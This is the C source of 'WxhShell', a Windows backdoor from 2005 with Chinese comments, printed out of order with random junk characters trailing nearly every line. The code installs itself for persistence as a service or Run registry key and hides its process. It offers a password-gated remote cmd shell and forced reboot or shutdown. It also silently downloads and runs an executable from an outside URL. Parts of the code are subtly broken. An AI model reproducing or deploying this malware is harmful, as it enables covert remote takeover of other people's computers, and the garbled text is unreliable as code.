    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ]/+qM)F  
    if(Boot(SHUTDOWN)) N&0MA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Bn"r;pqWiT  
    else { ; YaR|)B  
    closesocket(wsh); #f'(8JjY  
    ExitThread(0); V+dfV`*k  
    } 4R U1tWQ%  
    break; sX&M+'h  
    } I@=h|GM  
  // 获取shell axY-Vj  
  case 's': { MGO.dRy_  
    CmdShell(wsh); LC/w".oq?  
    closesocket(wsh); f$E66yG  
    ExitThread(0); ?CS jn  
    break; fJ Ch  
  } 1q!JpC^  
  // 退出 0;)6ZU  
  case 'x': {  W4CI=94  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 71tMX[x  
    CloseIt(wsh); UBRMV s  
    break;  ZW2#'$b  
    } H/V%D O  
  // 离开 dW7dMx  
  case 'q': { 4Uf+t?U9  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); +^+wS`Y  
    closesocket(wsh); 2al~`  
    WSACleanup(); i,")U)b  
    exit(1); ]@J}f}Mjo  
    break; 4Sg!NPuu7&  
        } 8"LaP3U  
  } VP4t~$"  
  } LO61J_J<  
29ft!R>[  
  // 提示信息 %,,h )9  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %Y Rg1UKY  
} X}z KV  
  } *A\NjXJl~  
H[N&Wiq/|  
  return; H5RHA^p|  
} z3*G(,  
\>=YxB q  
// shell模块句柄 GPx S.&  
int CmdShell(SOCKET sock) ['km'5uZ^  
{ 2Bjp{)*  
STARTUPINFO si; ^/n[5@6H  
ZeroMemory(&si,sizeof(si)); vWkKNB  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; bOz\-=au  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; MZjiJZaO:L  
PROCESS_INFORMATION ProcessInfo; '*,4F'  
char cmdline[]="cmd"; 2FVKgyV  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); <Ab:yD`K!  
  return 0; 'c$9[|x  
} l.)N  
;5|EpoM  
// 自身启动模式 5ZKnxEW,(  
int StartFromService(void) G>RYQ{O  
{ ^p7(  
typedef struct 8&UuwZ6i-  
{ _@OYC<  
  DWORD ExitStatus; n#&RY%#`  
  DWORD PebBaseAddress; 8S02 3  
  DWORD AffinityMask; a ;S^<8  
  DWORD BasePriority; Gj ^bz'2  
  ULONG UniqueProcessId; KFs` u6  
  ULONG InheritedFromUniqueProcessId; wwAT@=X*}  
}   PROCESS_BASIC_INFORMATION; !>:tF,fcB  
~Op1NE  
PROCNTQSIP NtQueryInformationProcess; V]O :;(W_  
#`fT%'T!  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; m5p~>]}fYF  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; IcoL/7k3  
~ /x42|t  
  HANDLE             hProcess; \S<5b&G  
  PROCESS_BASIC_INFORMATION pbi; &rd(q'Vi  
:9YQX(l8  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); tQ~B!j]  
  if(NULL == hInst ) return 0; @ tIB'|O  
i`SF<)M(  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); qC4-J)8 Wk  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); (Lo2fY5  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); u .2sB6}  
l17ZNDzLU  
  if (!NtQueryInformationProcess) return 0; kUUq9me&o  
dvD<>{U,8  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); `aUp&8{  
  if(!hProcess) return 0; m#nxw  
|u{QI3#'  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8[C6LG  
`g1Oon_  
  CloseHandle(hProcess); rxK0<pWJhx  
`0^i #  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); i-?zwVmn  
if(hProcess==NULL) return 0; Ln_l>X6j51  
MQ*#oVqv  
HMODULE hMod; =b7&(x  
char procName[255]; JC"K{ V{  
unsigned long cbNeeded; rl%Kn^JJ~  
^eW.hNg  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); r(i)9RI+(  
pCmJY  
  CloseHandle(hProcess); S7a6ntei  
*$(CiyF!  
if(strstr(procName,"services")) return 1; // 以服务启动 &XRFX 5gP  
X=pt}j,QrP  
  return 0; // 注册表启动 !)3s <{k#  
} d&bc>Vt  
({KAh?  
// 主模块 E ZKz-}  
int StartWxhshell(LPSTR lpCmdLine) -^H5z+"^  
{ 0NtsFPO  
  SOCKET wsl;  #U52\3G  
BOOL val=TRUE; p qN[G=0  
  int port=0; ?ev G=S4>  
  struct sockaddr_in door; )m8>w6"  
)95yV;n   
  if(wscfg.ws_autoins) Install(); `_U0>Bfg;  
,?<h] !aQ  
port=atoi(lpCmdLine); $Ds]\j*  
f_h"gZWV  
if(port<=0) port=wscfg.ws_port; kQd[E-b7  
K4/P(*r`  
  WSADATA data; y/I ~x+ y  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Jf<yTAm  
l;}7A,u  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   o>;0NF| }  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); [l%fL9  
  door.sin_family = AF_INET; $t# ,'M  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); qm8n7Z/  
  door.sin_port = htons(port); }t D!xI;  
dh;MpE  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { gQd=0"MV  
closesocket(wsl); 9=~H6(m>  
return 1; l[ ": tG  
} VgsCwJ9w  
K'5sn|)  
  if(listen(wsl,2) == INVALID_SOCKET) { @VC9gd O/  
closesocket(wsl); ~q?"w:@;x  
return 1; Be>c)90bO_  
} pL}j ZTo  
  Wxhshell(wsl); h}`&]2|]  
  WSACleanup(); hW !@$Ph  
5@>4)dk\  
return 0; D0y,TF  
=PKt09b^  
} MZMS ?}.2  
6 ,pZRc  
// 以NT服务方式启动 K~y9zF{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) N7$DRG/<b  
{ f-v ND'@  
DWORD   status = 0; Hu9-<upc&  
  DWORD   specificError = 0xfffffff; OU.9 #|qU  
oY2?W  
  serviceStatus.dwServiceType     = SERVICE_WIN32; K!- &Zv  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Ro'4/{}+  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; RZ)vU'@kx  
  serviceStatus.dwWin32ExitCode     = 0; x#F1@r8R  
  serviceStatus.dwServiceSpecificExitCode = 0; iZ.&q 6  
  serviceStatus.dwCheckPoint       = 0; kJ#[UCqzM  
  serviceStatus.dwWaitHint       = 0; $O~F>.*  
DA4edFAuE  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); wwK~H  
  if (hServiceStatusHandle==0) return; DNm7z[ t{  
B=q)}aWc  
status = GetLastError(); 8!&ds~?  
  if (status!=NO_ERROR) ^aD/ .  
{ ~E3SC@KL  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; iB}LnC:  
    serviceStatus.dwCheckPoint       = 0; {? K|(C  
    serviceStatus.dwWaitHint       = 0; 0+n&BkS'  
    serviceStatus.dwWin32ExitCode     = status; k67i`f=  
    serviceStatus.dwServiceSpecificExitCode = specificError; e}?1T7NPG]  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); n&YW".iG  
    return; 3lLW'g&=  
  } "u Of~e"  
EvSnZB1 y  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 7}#*3*]  
  serviceStatus.dwCheckPoint       = 0; B~V<n&<  
  serviceStatus.dwWaitHint       = 0; A"\P&kqMV  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); KD%xo/Z.  
} As6)_8w  
]5o0  
// 处理NT服务事件,比如:启动、停止 2<y}91N:  
VOID WINAPI NTServiceHandler(DWORD fdwControl) y(/jTS/ hd  
{ vB{; N  
switch(fdwControl) 'B:Z=0{>N  
{ r&%gjqt  
case SERVICE_CONTROL_STOP: e9z$+h  
  serviceStatus.dwWin32ExitCode = 0; ]ZR{D7.?  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Nl=m'4 @`  
  serviceStatus.dwCheckPoint   = 0; Pp1zW3+Q  
  serviceStatus.dwWaitHint     = 0; HO%E-5b9  
  { _S9rF-9G]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [|:QE~U@  
  } [ 5CS}FB  
  return; y+ 6`| h_  
case SERVICE_CONTROL_PAUSE: QQ^Gd8nQ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; G8 ^0 ^@o  
  break; tsTR2+GZS  
case SERVICE_CONTROL_CONTINUE: LPq*ZZK  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 86;+r'3p.  
  break; J<b3"wK0[  
case SERVICE_CONTROL_INTERROGATE: HZQDe&  
  break; olD@W UB  
}; ONjC(7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); PtQQZ"ept  
} 763E 6,7  
7.wR"1p#  
// 标准应用程序主函数 fnVW/23  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Ez06:]Jd  
{ 4)3g!o ?  
WW@JVZxK  
// 获取操作系统版本 2x-'>i_|g  
OsIsNt=GetOsVer(); ~/^y.SsWM  
GetModuleFileName(NULL,ExeFile,MAX_PATH); r+imn&FK8  
~mN g[]  
  // 从命令行安装 SL[rn<x|  
  if(strpbrk(lpCmdLine,"iI")) Install(); "-G&=(  
%iK%$  
  // 下载执行文件 [MV`pF)x  
if(wscfg.ws_downexe) { GwgFi@itN  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) E)KB@f<g*  
  WinExec(wscfg.ws_filenam,SW_HIDE); ^7i^ \w0  
} *e(:["v  
jK3giT  
if(!OsIsNt) { L_tjcfVo  
// 如果时win9x,隐藏进程并且设置为注册表启动 !a' K &  
HideProc(); 8# 6\+R  
StartWxhshell(lpCmdLine); 4 hL`=[AB  
} ]O6KKz  
else Vh 2Bz  
  if(StartFromService()) t{+ M|Y  
  // 以服务方式启动 Ya~ "R#Uy  
  StartServiceCtrlDispatcher(DispatchTable); gE\A9L~b  
else %GM>u2baw  
  // 普通方式启动 q]F4Lq(  
  StartWxhshell(lpCmdLine); S$S_nNq  
5iP8D<;o5  
return 0; 4BHtR017r  
} 6,B-:{{e"  
^Y$QR]  
$kD7y5  
LEWa6'0rq  
=========================================== /rqqC(1  
xC<R:"Mn  
DP|TIt,Rl  
DNmb[  
6 4?Pfir6  
Nfr:`$k  
" z9^c]U U)E  
xM% pvx.'L  
#include <stdio.h> _8al  
#include <string.h> 3 sl=>;-  
#include <windows.h> =D{B}=D\IM  
#include <winsock2.h> -<xyC8 $^$  
#include <winsvc.h> B#1:Y;Z  
#include <urlmon.h> mU>&ql?e  
]+mjOks~  
#pragma comment (lib, "Ws2_32.lib") p7s@%scp  
#pragma comment (lib, "urlmon.lib") ;8BA~,4l  
e$HQuA~Q;  
#define MAX_USER   100 // 最大客户端连接数 Sobtz}A*  
#define BUF_SOCK   200 // sock buffer L1rwIOgq^  
#define KEY_BUFF   255 // 输入 buffer #^Ys{  
) 9MrdVNv  
#define REBOOT     0   // 重启 &2Q*1YXj  
#define SHUTDOWN   1   // 关机 8[oYZrg  
V>B'+b+<  
#define DEF_PORT   5000 // 监听端口 V`by*s  
I'dj.  
#define REG_LEN     16   // 注册表键长度 h20Hg|   
#define SVC_LEN     80   // NT服务名长度 <.}Ua(  
Ssw&'B|o  
// 从dll定义API |gW    
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); oKRFd_r+  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); k}HQq_Y(<  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); G)8ChnJa!m  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 4#_$@ r  
#MglHQO+  
// wxhshell配置信息 ~H u"yAR  
struct WSCFG { IO"hF  
  int ws_port;         // 监听端口 1Fs-0)s8  
  char ws_passstr[REG_LEN]; // 口令 8bt53ta  
  int ws_autoins;       // 安装标记, 1=yes 0=no >ukQ, CE~  
  char ws_regname[REG_LEN]; // 注册表键名 S7CV w,2  
  char ws_svcname[REG_LEN]; // 服务名 N 'i,>  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ~p\n&{P0  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ;SKcbws  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 1q] & 7R  
int ws_downexe;       // 下载执行标记, 1=yes 0=no @(>XOj?+  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" f TO+ZTRqf  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ZE rdt:w  
nv)))I\  
}; ) |MJnx9  
csDQva\  
// default Wxhshell configuration *T1~)z}j<  
struct WSCFG wscfg={DEF_PORT, 3cixQzb}u  
    "xuhuanlingzhe", 3;l"=#5  
    1, Xpl?g=B&u  
    "Wxhshell", _B[WY  
    "Wxhshell", _*E!gPO  
            "WxhShell Service", ;& |qSa'  
    "Wrsky Windows CmdShell Service", $P nLG]X  
    "Please Input Your Password: ", #tDW!Xv?  
  1, bi$VAYn.^  
  "http://www.wrsky.com/wxhshell.exe", j5^-.sEEw  
  "Wxhshell.exe" )Gb,^NGr  
    }; `Wn Q   
k.GA8=]>  
// 消息定义模块 b\giJ1NJB  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ,Sg33N ?  
char *msg_ws_prompt="\n\r? for help\n\r#>"; lhO2'#]i  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; !re1EL  
char *msg_ws_ext="\n\rExit."; [s}/nu~U  
char *msg_ws_end="\n\rQuit."; 'N6 S}w7  
char *msg_ws_boot="\n\rReboot..."; j?-R]^-5  
char *msg_ws_poff="\n\rShutdown..."; 1bSD,;$sQ  
char *msg_ws_down="\n\rSave to "; pbLGe'  
VLdB_r3lQ  
char *msg_ws_err="\n\rErr!"; +pp9d-n  
char *msg_ws_ok="\n\rOK!"; B4Lx{u no  
<3Gqv9Y&  
char ExeFile[MAX_PATH]; x8"#!Pw:`"  
int nUser = 0; <kbyZXV@K  
HANDLE handles[MAX_USER]; t&}6;z 3  
int OsIsNt; j O8k6<l  
%|+E48  
SERVICE_STATUS       serviceStatus; wC` R>)  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; A 5nO=  
Qf@iU%G  
// 函数声明 WG5W0T_  
int Install(void); /k6fLn2;  
int Uninstall(void); A-uB\ L  
int DownloadFile(char *sURL, SOCKET wsh); z-,VnhLx  
int Boot(int flag); lddp^ #f  
void HideProc(void); b{5K2k&,  
int GetOsVer(void); }V`mp  
int Wxhshell(SOCKET wsl); o2uj =Gnx  
void TalkWithClient(void *cs); DtF}Qv A  
int CmdShell(SOCKET sock); 1RqgMMJL  
int StartFromService(void); y%cO#P@  
int StartWxhshell(LPSTR lpCmdLine); `78V%\  
AK-}V4C/A  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); MGt]'}  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); >M;u*Go`QO  
2]WE({P  
// 数据结构和表定义 W?XizTW  
SERVICE_TABLE_ENTRY DispatchTable[] = Qe$k3!  
{ thW<   
{wscfg.ws_svcname, NTServiceMain}, d,cN(  
{NULL, NULL} n$["z w  
}; HeA{3s  
:c]`D>  
// 自我安装 %2l7Hmp4H  
int Install(void) B'weok  
{ <J{'o`{  
  char svExeFile[MAX_PATH]; R,_d1^|*w  
  HKEY key; hOk00az  
  strcpy(svExeFile,ExeFile); }!d;(/)rb  
Qt+:4{He  
// 如果是win9x系统,修改注册表设为自启动 S h4wqf  
if(!OsIsNt) { d&(_|xq#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =o=1"o[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); F%/ h*  
  RegCloseKey(key); C>QIrZu  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $2#7D* Rx  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); g:#d l\k  
  RegCloseKey(key); =VP=|g  
  return 0; e}{U7xQm1  
    } (ywo a  
  } 1|Q vN1?  
} % _M2N.n  
else { y 'M#z_.z  
~H6;I$e[  
// 如果是NT以上系统,安装为系统服务 &#m"/g7w4N  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); O&Z' r  
if (schSCManager!=0) j tA*pL'/V  
{ >^_ bD  
  SC_HANDLE schService = CreateService [`_io>*g  
  ( l=P'B @,  
  schSCManager, -uR72f  
  wscfg.ws_svcname, F # YPOH  
  wscfg.ws_svcdisp, sd0r'jb  
  SERVICE_ALL_ACCESS, 7"v$- Wy  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , edC 4BHE  
  SERVICE_AUTO_START, 4FMF|U  
  SERVICE_ERROR_NORMAL, ^ @=^;nB  
  svExeFile, )NW6?Pu"  
  NULL, 1yqoA *  
  NULL, g"8 .}1)~r  
  NULL, m}Y0xV9  
  NULL, zY9 H%  
  NULL ]]iPEm"@  
  ); O>0VTW  
  if (schService!=0) /.Jb0h[W1  
  {  z01>'  
  CloseServiceHandle(schService); `sHuM*  
  CloseServiceHandle(schSCManager); ]F*3"y?)2  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ~=n#}{/  
  strcat(svExeFile,wscfg.ws_svcname); }ZOFYu0f  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { _7)F ?  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); &<x@1,  
  RegCloseKey(key); \ZXLX'-  
  return 0; df*w>xS  
    } y&J@?Hc>  
  } (jWss  V1  
  CloseServiceHandle(schSCManager); |QZ 58)>  
} 7S^""*Q^  
} rXi uwz\  
R MYP"  
return 1; Ss ?CfRM  
} W0`Gc {  
vwGeD|Fb5  
// 自我卸载 '_0]vupvY  
int Uninstall(void) 3TuC+'`G  
{ ik,lSTBD  
  HKEY key; !>^JSHR4t  
9l/EjF^  
if(!OsIsNt) { wdE?SDs  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { V_^@  
  RegDeleteValue(key,wscfg.ws_regname); i, nD5 @#  
  RegCloseKey(key); &lc8G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { d.<~&.-$  
  RegDeleteValue(key,wscfg.ws_regname); e_3CSx8Cc  
  RegCloseKey(key); uZ6d35MJ  
  return 0; w=b(X q+:  
  } ) |#%Czd4  
} ,Fqz e/  
} 5ua?I9fY  
else { @$@mqHI}  
cd@.zg'sYn  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); i^z`"3#LE  
if (schSCManager!=0) f`<FT'A  
{ j0-McLc  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); D #2yIec  
  if (schService!=0) ;-mdi/*g  
  { 25{ uz  
  if(DeleteService(schService)!=0) { " BTE  
  CloseServiceHandle(schService); *tQk;'/A]  
  CloseServiceHandle(schSCManager); /)|X.D  
  return 0; WV<tyx9Z  
  } |KCOfVh?|.  
  CloseServiceHandle(schService); 3C>qh{z"  
  } ;1AG3P'  
  CloseServiceHandle(schSCManager); Dma.r  
} 8pZ< 9t'  
} {kB `>VS  
h=VqxGC&  
return 1; Q%=YM4;  
} nn~YK  
_cqy`p@"  
// 从指定url下载文件 l)8&Ip  
int DownloadFile(char *sURL, SOCKET wsh) w:=V@-S 8  
{ x!TZ0fq0  
  HRESULT hr; oh8L`=>&a  
char seps[]= "/"; T3J'fjY  
char *token; SOh-,c\C  
char *file; !|{IVm/J  
char myURL[MAX_PATH]; L^Wz vv]  
char myFILE[MAX_PATH]; c=p=-j=.J  
0~A#>R'  
strcpy(myURL,sURL); #B}?Zg  
  token=strtok(myURL,seps); fZryG  
  while(token!=NULL) $n=lsDnhQ  
  { GuQRn  
    file=token; j+ ::y) $  
  token=strtok(NULL,seps); /MTf0^9  
  } `^F: -  
J\co1kO9/  
GetCurrentDirectory(MAX_PATH,myFILE); >>'C :7+Y  
strcat(myFILE, "\\"); [[L-j q.'  
strcat(myFILE, file); 4cgIEw[6  
  send(wsh,myFILE,strlen(myFILE),0); W:s@L#-  
send(wsh,"...",3,0); bY8GA  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); laREjN/\`  
  if(hr==S_OK) Pe^ !$  
return 0; 4jwu'7 Q  
else 6qp5Xt+  
return 1; >IvBU M[Rt  
Cnh|D^{s  
} 2: ^njqX  
)c<6Sfp^B  
// 系统电源模块 :[7lTp   
int Boot(int flag) [~%`N*G  
{ n Y w\'c  
  HANDLE hToken; C8b''9t.  
  TOKEN_PRIVILEGES tkp; a5c'V   
wq0aF"k  
  if(OsIsNt) { <4X?EYaTq  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); bg7n  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); R 1zC.m  
    tkp.PrivilegeCount = 1; %efGt6&  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; &r_uQbx  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); wK5_t[[  
if(flag==REBOOT) { 8I#D`yVKc  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) zQfkMa.  
  return 0; /=T"=bP#/  
} 7sV /_3H+  
else { Z7#7N wy4  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ,)#.a%EKA  
  return 0; o0Gx%99'  
} >{&A%b4JF  
  } /tKGwX]y  
  else { __\P`S_  
if(flag==REBOOT) { qu{mqkfN>  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) l)Mh2lA,=  
  return 0; PdE>@0X?M  
} IC~ljy]y_  
else { F=Y S^  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) .h8M  
  return 0; WYO\'W  
} x:-`o_Q*i  
} Rc9<^g`  
PrnrXl S  
return 1; Uf2:gLrF  
} j%xBo:  
j jY{Uq  
// win9x进程隐藏模块 rO^xz7K^  
void HideProc(void) fValSQc!U  
{ -Bv 12ymLG  
mw+j|{[  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 0xP:9rm  
  if ( hKernel != NULL ) *8-p7,D  
  { M&e8zS  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); w%u5<  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); (j N]OE^  
    FreeLibrary(hKernel); ptR  
  } 2oB?Dn  
1v]t!}W:6  
return; A2_Ls;]  
} Mjw[:70  
|[WL2<  
// 获取操作系统版本 `.8-cz  
int GetOsVer(void) b%<jUY  
{ FV8\ +ep  
  OSVERSIONINFO winfo; nKu(XgFv  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); G5u meqYC  
  GetVersionEx(&winfo); D pNX66O  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) lko3]A3  
  return 1; enPYj.*/0  
  else %*p^$5L<  
  return 0; \E&thp  
} l#ygb|=x  
Xj;2h{#s  
// 客户端句柄模块 !Sfe{/$w  
int Wxhshell(SOCKET wsl) `D"1 gD}{A  
{ `\e'K56W6  
  SOCKET wsh; |rFJ*.nD  
  struct sockaddr_in client; m9I(TOw  
  DWORD myID; <G}m#  
.S(^roM;+  
  while(nUser<MAX_USER) ~D_ rZ&  
{ ~=Fk/  
  int nSize=sizeof(client); PbQE{&D#  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); *NF&Y  
  if(wsh==INVALID_SOCKET) return 1; K)N)IZ1q  
 HFv?s  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 9?!u2 o  
if(handles[nUser]==0) 6T]Q.\5BZ  
  closesocket(wsh); sgD@}":m  
else CP@o,v-  
  nUser++; JkJhfFV  
  } wNbTM.@  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); i >J:W"W   
'%:5axg?]  
  return 0; y^, "gD  
} <G&WYk%u*  
(+@faP   
// 关闭 socket G1A$PR  
void CloseIt(SOCKET wsh) KZi+j#7O  
{ LuLy6]6D;  
closesocket(wsh); #%qqL  
nUser--; }@3$)L%n_u  
ExitThread(0); RlPjki"Mg  
} ,,XS;X?  
Q-:Ah:/  
// 客户端请求句柄 Q4#\{" N!  
void TalkWithClient(void *cs) VN?<[#ij  
{ rffVfw  
Lax9 "xI  
  SOCKET wsh=(SOCKET)cs; o:h)~[n|  
  char pwd[SVC_LEN]; Wnb)*pPP  
  char cmd[KEY_BUFF]; _Wq7U1v`  
char chr[1]; UnJi& ~O  
int i,j; DrW/KU,{+(  
"sC$%D<oc  
  while (nUser < MAX_USER) { oC5gME"2  
w($XEv;  
if(wscfg.ws_passstr) { ;<86P3S  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); G1,Ro1  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); SB5@\^  
  //ZeroMemory(pwd,KEY_BUFF); v\J!yz  
      i=0; o,iS&U"TC  
  while(i<SVC_LEN) { BASO$?jf4  
^!N;F"  
  // 设置超时 \xy:6gd:  
  fd_set FdRead; @oUf}rMiDa  
  struct timeval TimeOut; s9^"wN YQ  
  FD_ZERO(&FdRead); t201ud2$  
  FD_SET(wsh,&FdRead); e&r+w!  
  TimeOut.tv_sec=8; h}Fu"zK  
  TimeOut.tv_usec=0; C6Um6 X9/i  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ;Of?fe5:  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); rCV$N&rK  
A0'tCq]?0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); JI28}Cxs0  
  pwd=chr[0]; r%O rH-T  
  if(chr[0]==0xd || chr[0]==0xa) { / n C$?w  
  pwd=0; Z3&XTsq  
  break; cx,u2~43A&  
  } 1aXIhk4  
  i++; -Hl\j (D7  
    } F 5b]/;|  
oZ|{J  
  // 如果是非法用户,关闭 socket :Map,]]B_  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); n=<q3}1Jej  
} R$~JhcX*l'  
 F<XD^sO  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); kr &:;  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _A# x&<c  
GLoL4el  
while(1) { `0/gs  
^+.e5roBKj  
  ZeroMemory(cmd,KEY_BUFF); U/~Zk@3j  
y2d_b/  
      // 自动支持客户端 telnet标准   p)AvG;  
  j=0; #EwRb<'Em  
  while(j<KEY_BUFF) { 'JXN*YO  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \n('KVbf  
  cmd[j]=chr[0]; zjhR9  
  if(chr[0]==0xa || chr[0]==0xd) { *HfW(C$  
  cmd[j]=0; Sxx.>gP"61  
  break; Wl^/=I4p#  
  } )@};lmPR  
  j++; c9F[pfi(  
    } ce-m)o/  
iKCTYXN1(  
  // 下载文件 R _~m\P  
  if(strstr(cmd,"http://")) { v:so85(S<  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); xHR+((  
  if(DownloadFile(cmd,wsh)) s`7 _J9  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); tI6USN%  
  else +BTNm66Z  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); azATKH+j  
  } LKwUpu!  
  else { -n$rKEC4  
` TVcI\W  
    switch(cmd[0]) { sfBjA  
